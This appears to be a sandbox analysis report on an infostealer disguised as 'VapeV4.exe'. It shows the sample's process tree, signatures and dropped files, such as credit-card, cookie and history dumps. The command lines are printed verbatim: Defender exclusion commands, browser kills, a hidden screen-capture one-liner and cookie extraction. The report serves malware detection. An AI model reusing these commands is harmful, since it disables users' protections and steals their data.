Overview

overview

8

Static

static

3

VapeV4.exe

windows10-ltsc_2021-x64

8

$PLUGINSDI...er.dll

windows10-ltsc_2021-x64

3

$PLUGINSDI...ls.dll

windows10-ltsc_2021-x64

3

$PLUGINSDI...em.dll

windows10-ltsc_2021-x64

3

$PLUGINSDI...ll.dll

windows10-ltsc_2021-x64

3

resources/...e3.dll

windows10-ltsc_2021-x64

1

resources/...opy.js

windows10-ltsc_2021-x64

3

resources/...oad.sh

windows10-ltsc_2021-x64

3

resources/...ase.js

windows10-ltsc_2021-x64

3

resources/...dex.js

windows10-ltsc_2021-x64

3

resources/...ate.js

windows10-ltsc_2021-x64

3

resources/...kup.js

windows10-ltsc_2021-x64

3

resources/...ion.js

windows10-ltsc_2021-x64

3

resources/...ect.js

windows10-ltsc_2021-x64

3

resources/...gma.js

windows10-ltsc_2021-x64

3

resources/...ize.js

windows10-ltsc_2021-x64

3

resources/...ble.js

windows10-ltsc_2021-x64

3

resources/...ion.js

windows10-ltsc_2021-x64

3

resources/...ers.js

windows10-ltsc_2021-x64

3

resources/...ror.js

windows10-ltsc_2021-x64

3

resources/...til.js

windows10-ltsc_2021-x64

3

resources/...der.js

windows10-ltsc_2021-x64

3

resources/elevate.exe

windows10-ltsc_2021-x64

3

vk_swiftshader.dll

windows10-ltsc_2021-x64

1

vulkan-1.dll

windows10-ltsc_2021-x64

1

$PLUGINSDI...ec.dll

windows10-ltsc_2021-x64

3

$PLUGINSDI...ss.dll

windows10-ltsc_2021-x64

3

$PLUGINSDI...7z.dll

windows10-ltsc_2021-x64

3

$R0/Uninst...V4.exe

windows10-ltsc_2021-x64

7

$PLUGINSDI...ls.dll

windows10-ltsc_2021-x64

3

$PLUGINSDI...em.dll

windows10-ltsc_2021-x64

3

$PLUGINSDIR/UAC.dll

windows10-ltsc_2021-x64

3

Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    04/07/2026, 03:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    VapeV4.exe
  • Size 89.5MB
  • Sample260704-edd5vsaw9t
  • SHA256 2954f134209eefe779bb2d49aa3dbfbe2875f034b2bf975b8de6f3f44cf34a33
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
defense_evasiondiscoveryexecutionspywarestealer

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 11 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Program Files directory 64 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Kills process with taskkill 7 IoCs
    defense_evasion
  • Suspicious behavior: EnumeratesProcesses 21 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VapeV4.exe
    "C:\Users\Admin\AppData\Local\Temp\VapeV4.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4380
  • C:\Program Files\VapeV4\VapeV4.exe
    "C:\Program Files\VapeV4\VapeV4.exe"
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4132
    • C:\Program Files\VapeV4\VapeV4.exe
      "C:\Program Files\VapeV4\VapeV4.exe" --type=gpu-process --disable-gpu-sandbox --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --gpu-preferences=WAAAAAAAAADgAQAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=disabled --field-trial-handle=1800,i,17856883014564633226,10276910813116771084,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=1792 /prefetch:2
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:4620
    • C:\Program Files\VapeV4\VapeV4.exe
      "C:\Program Files\VapeV4\VapeV4.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Roaming\chiloutvrmod" --field-trial-handle=2116,i,17856883014564633226,10276910813116771084,262144 --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --mojo-platform-channel-handle=2112 /prefetch:3
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:5456
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\VapeV4\VapeV4.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:412
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\VapeV4\VapeV4.exe' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp' -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5664
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM chrome.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3036
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM msedge.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:392
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM brave.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3648
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:540
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM vivaldi.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:1504
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM operagx.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:3176
    • C:\Windows\system32\taskkill.exe
      taskkill /F /IM opera_crashreporter.exe /T
      2⤵
      • Kills process with taskkill
      • Suspicious use of AdjustPrivilegeToken
      PID:5344
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783137307395' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783137307395\ChromeElevator.exe' -Force""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4912
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783137307395' -Force; Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\elev_1783137307395\ChromeElevator.exe' -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4584
    • C:\Users\Admin\AppData\Local\Temp\elev_1783137307395\ChromeElevator.exe
      C:\Users\Admin\AppData\Local\Temp\elev_1783137307395\ChromeElevator.exe chrome -o C:\Users\Admin\AppData\Local\Temp\elev_out_1783137307348
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4980
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
        • Suspicious use of SetWindowsHookEx
        PID:5240
    • C:\Users\Admin\AppData\Local\Temp\elev_1783137307395\ChromeElevator.exe
      C:\Users\Admin\AppData\Local\Temp\elev_1783137307395\ChromeElevator.exe edge -o C:\Users\Admin\AppData\Local\Temp\elev_out_1783137307348
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4940
      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
        3⤵
          PID:2476
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_483f14f9.ps1""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:5884
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_483f14f9.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5800
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_f6595fc8.ps1""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1972
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\sys_debug_f6595fc8.ps1"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:4684
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name /value"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1548
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic path win32_VideoController get name /value
          3⤵
          • Detects videocard installed
          • Suspicious behavior: EnumeratesProcesses
          PID:6068
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:5180
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\Software\Valve\Steam" /v SteamPath"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1612
        • C:\Windows\system32\reg.exe
          reg query "HKCU\Software\Valve\Steam" /v SteamPath
          3⤵
            PID:5196
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:5112
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1568
          • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
            1⤵
              PID:3476
            • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
              1⤵
                PID:2136

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    All CreditCards.txt
                    • Path C:\Users\Admin\AppData\Local\91e4799e4b1c8b4a\All CreditCards.txt
                    • Size 52B
                    • SHA256 cdc94d0ff0d871d27b41c97a0d3b9efab43dadf336a76c9eafd6002ac9e2e2cc
                    • MD5 SHA1 SHA512
                    Submit Download

                    Firefox Beta (16loo4mf.default-release).txt
                    • Path C:\Users\Admin\AppData\Local\91e4799e4b1c8b4a\browser_data\cookies\Firefox Beta (16loo4mf.default-release).txt
                    • Size 29B
                    • SHA256 d95cc9b596565532beaaacf8d8b00f3d5e9adcbc8c784a982ee6e96df9966e80
                    • MD5 SHA1 SHA512
                    Submit Download

                    Google Chrome (Default).txt
                    • Path C:\Users\Admin\AppData\Local\91e4799e4b1c8b4a\browser_data\cookies\Google Chrome (Default).txt
                    • Size 339B
                    • SHA256 a3953ffc4291643fa55586896b14b96fa4e8b21d20fe185b2dd6ca949510e3d0
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    Microsoft Edge (Default).txt
                    • Path C:\Users\Admin\AppData\Local\91e4799e4b1c8b4a\browser_data\cookies\Microsoft Edge (Default).txt
                    • Size 341B
                    • SHA256 104fc650a045a2bf2fd3146ffc95d9060e443d72530e4b525b33bc9c8c14239c
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    All History.txt
                    • Path C:\Users\Admin\AppData\Local\91e4799e4b1c8b4a\browser_data\history\All History.txt
                    • Size 97B
                    • SHA256 014d8e11992cb66d87b647e8237b430eaf7a94c11744abc97ef98d37e930a696
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    All History.txt
                    • Path C:\Users\Admin\AppData\Local\91e4799e4b1c8b4a\browser_data\history\All History.txt
                    • Size 419B
                    • SHA256 ecf5911e160129765298ff6ad46518ee1b8fe6f456cfa4022872ff04aaac0688
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    cunkch9t5yi.zip
                    • Path C:\Users\Admin\AppData\Local\91e4799e4b1c8b4a\cunkch9t5yi.zip
                    • Size 4KB
                    • SHA256 519fda717d1cf272644cbc0136416fa6132d1c2b5e7251e7d365645d56ba7373
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    powershell.exe.log
                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 3KB
                    • SHA256 c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 76292ede78b170682c479205f425c064aafa22524550f64a3d925c5b751f1e83
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 6d4a4470f6a89169cdf541c52d73d096a3fd4a88aeddee63e1d3490e9c2d6a70
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 22bc5b85f76bdfbe30f699c832183f2be1985e7106b8af86f66e1a360b7a1c17
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    StartupProfileData-NonInteractive
                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 1a27d9086ab8dfe83c148d55a8c75e4f0aa88f7b585f22915a3bb63ac7c40692
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    boot_main.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@elwiesadoprivate_debug\boot_main.txt
                    • Size 4KB
                    • SHA256 8d55b4973c2322b15db3fdf8670a5e72642636117461655d4b4e86225b810750
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    boot_runtime.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\@elwiesadoprivate_debug\boot_runtime.txt
                    • Size 5KB
                    • SHA256 5b968df95307a0ac4f86d5484b015464a4ee993668dce8b009653c70ca910ef8
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    __PSScriptPolicyTest_myosv0se.zob.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_myosv0se.zob.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    ChromeElevator.exe
                    • Path C:\Users\Admin\AppData\Local\Temp\elev_1783137307395\ChromeElevator.exe
                    • Size 1.4MB
                    • SHA256 e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    cookies.json
                    • Path C:\Users\Admin\AppData\Local\Temp\elev_out_1783137307348\Chrome\Default\cookies.json
                    • Size 338B
                    • SHA256 620030cb25f76deb59e7366070bc21059d2e19f06f6c823d99096e038f241fef
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    cookies.json
                    • Path C:\Users\Admin\AppData\Local\Temp\elev_out_1783137307348\Edge\Default\cookies.json
                    • Size 340B
                    • SHA256 b1a998f859594226fcc5c84a7a415f7160f3cb2308a0ebe99759e4df928d638e
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    LICENSE.electron.txt
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\LICENSE.electron.txt
                    • Size 1KB
                    • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    LICENSES.chromium.html
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\LICENSES.chromium.html
                    • Size 9.0MB
                    • SHA256 96837a4a521a61bd3d34f2f660e29902d228aaec501eeb2a84403f1926c3df9d
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    chrome_100_percent.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\chrome_100_percent.pak
                    • Size 148KB
                    • SHA256 7dd5485def22a53c0635efdf8ae900f147ec8c8a22b9ed71c24668075dd605d3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    chrome_200_percent.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\chrome_200_percent.pak
                    • Size 223KB
                    • SHA256 2408969599d3953aae2fb36008e4d0711e30d0bc86fb4d03f8b0577d43c649fa
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    d3dcompiler_47.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\d3dcompiler_47.dll
                    • Size 4.7MB
                    • SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ffmpeg.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\ffmpeg.dll
                    • Size 2.6MB
                    • SHA256 16261687febd0d707c7b90eeb802b3befdec9b20c4fbd29068540c2b94c81de6
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    icudtl.dat
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\icudtl.dat
                    • Size 10.0MB
                    • SHA256 9ae98c06cbb0ea43c5cd6b5725310c008c65e46072421a1118cb88e1de9a8b92
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    libEGL.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\libEGL.dll
                    • Size 470KB
                    • SHA256 18cca9a1952e2699a955690b8a870e614c28321a4e032392f8526677b5712f98
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    libGLESv2.dll
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\libGLESv2.dll
                    • Size 7.7MB
                    • SHA256 ce43b08039628c9969345fdf0861f7633faa9a00356173e6c170dc437353a2b3
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    af.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\af.pak
                    • Size 494KB
                    • SHA256 e2470090a09ca500679e68bb5e3b1acc35a5873fea4f93af25a23c82122f2c13
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    am.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\am.pak
                    • Size 800KB
                    • SHA256 4e15946e86a578eeff41feda808bb291d81e240fbdfc96cbe2efe692ad35eef5
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ar.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ar.pak
                    • Size 874KB
                    • SHA256 5cc02570e5f61cbca791309985df3a29584e41583b3344f1d9fb6b04ce423e6f
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    bg.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\bg.pak
                    • Size 913KB
                    • SHA256 97ef7984074775282b68dca5d5a469efdb2b22474ee6669fdfb5197d3f1b3768
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    bn.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\bn.pak
                    • Size 1.1MB
                    • SHA256 1aba82aee8c985e5e370e7cf2b35c9ec20cbe5174db5fcb54ec7d19ec5d79587
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    ca.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\ca.pak
                    • Size 556KB
                    • SHA256 b3d5dfae25427596b1f14a8e13d6bcb58532c82554229c2367779ff5c42b28bb
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    cs.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\cs.pak
                    • Size 572KB
                    • SHA256 7d7b701ce510b2e4a18e957e500086db590aad8bf5acd37f82263a676f0b556c
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    da.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\da.pak
                    • Size 518KB
                    • SHA256 3430c0f1946901dfa24190ca3989f72171ec564bc7c523853e6a1f531b61b5ee
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    de.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\de.pak
                    • Size 553KB
                    • SHA256 662496eff49febbe49f0a03cf2c51acaa743cb2237de3c41014556e16f3d8e2b
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    el.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\el.pak
                    • Size 1001KB
                    • SHA256 162e51bc7d682e223e498f4ff8c81f019d136d857bd25a1c982d4a1084a8c840
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    en-GB.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\en-GB.pak
                    • Size 450KB
                    • SHA256 7df934906a61c0ae7a952f9ed058f4a06cd3989663a7d9f50afc3c9f830135bb
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    en-US.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\en-US.pak
                    • Size 454KB
                    • SHA256 41123d72bd8e289e85bd35227aabb4cc61fe1de02b5cd7a7834e5ec200bc2078
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    es-419.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\es-419.pak
                    • Size 547KB
                    • SHA256 ec922f8ca16b7e7642fc73369ba7b75ec950cafb1dcadc6c88426c034382d483
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    es.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\es.pak
                    • Size 547KB
                    • SHA256 0385e6776de5a0d8a3b30b7bad44308ac4cb04e2bcebd573d3c7938b68036573
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    et.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\et.pak
                    • Size 497KB
                    • SHA256 ba4ec85d2306a1f1f178a017fef4d340b77b33e10bbee07bd359a8e0ff8ea461
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fa.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\fa.pak
                    • Size 813KB
                    • SHA256 f1a7351bf0d8cad475d2761b9edf970c3098836e38aa98106a5e04a41002b7c8
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fi.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\fi.pak
                    • Size 508KB
                    • SHA256 11b0b9b0f74d01f16db7aa49be9dceeb55fde9da56f17419c4bca159cdcae274
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fil.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\fil.pak
                    • Size 573KB
                    • SHA256 d7fdc7fd08dcc421bc8aaae3fdc72599c60a3b96f05989a3e46736f0de06e745
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    fr.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\fr.pak
                    • Size 591KB
                    • SHA256 1f6cc56e04bcbd6b6ecbe500bcb0a5702551ec80d79e624642d0c7d9758d4424
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    gu.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\gu.pak
                    • Size 1.1MB
                    • SHA256 087e99953eef9b5fd736e3dbd98d702fdb01dc614593a4c575cb619159688118
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    he.pak
                    • Path C:\Users\Admin\AppData\Local\Temp\nsp3842.tmp\7z-out\locales\he.pak
                    • Size 713KB
                    • SHA256 20b1c80f8b2bd5130a1fb372814fb9c9ceac15305da3da0cb29923960a94a934
                    • MD5 SHA1 SHA512 SSDEEP TLSH
                    Submit Download

                    hi.pak
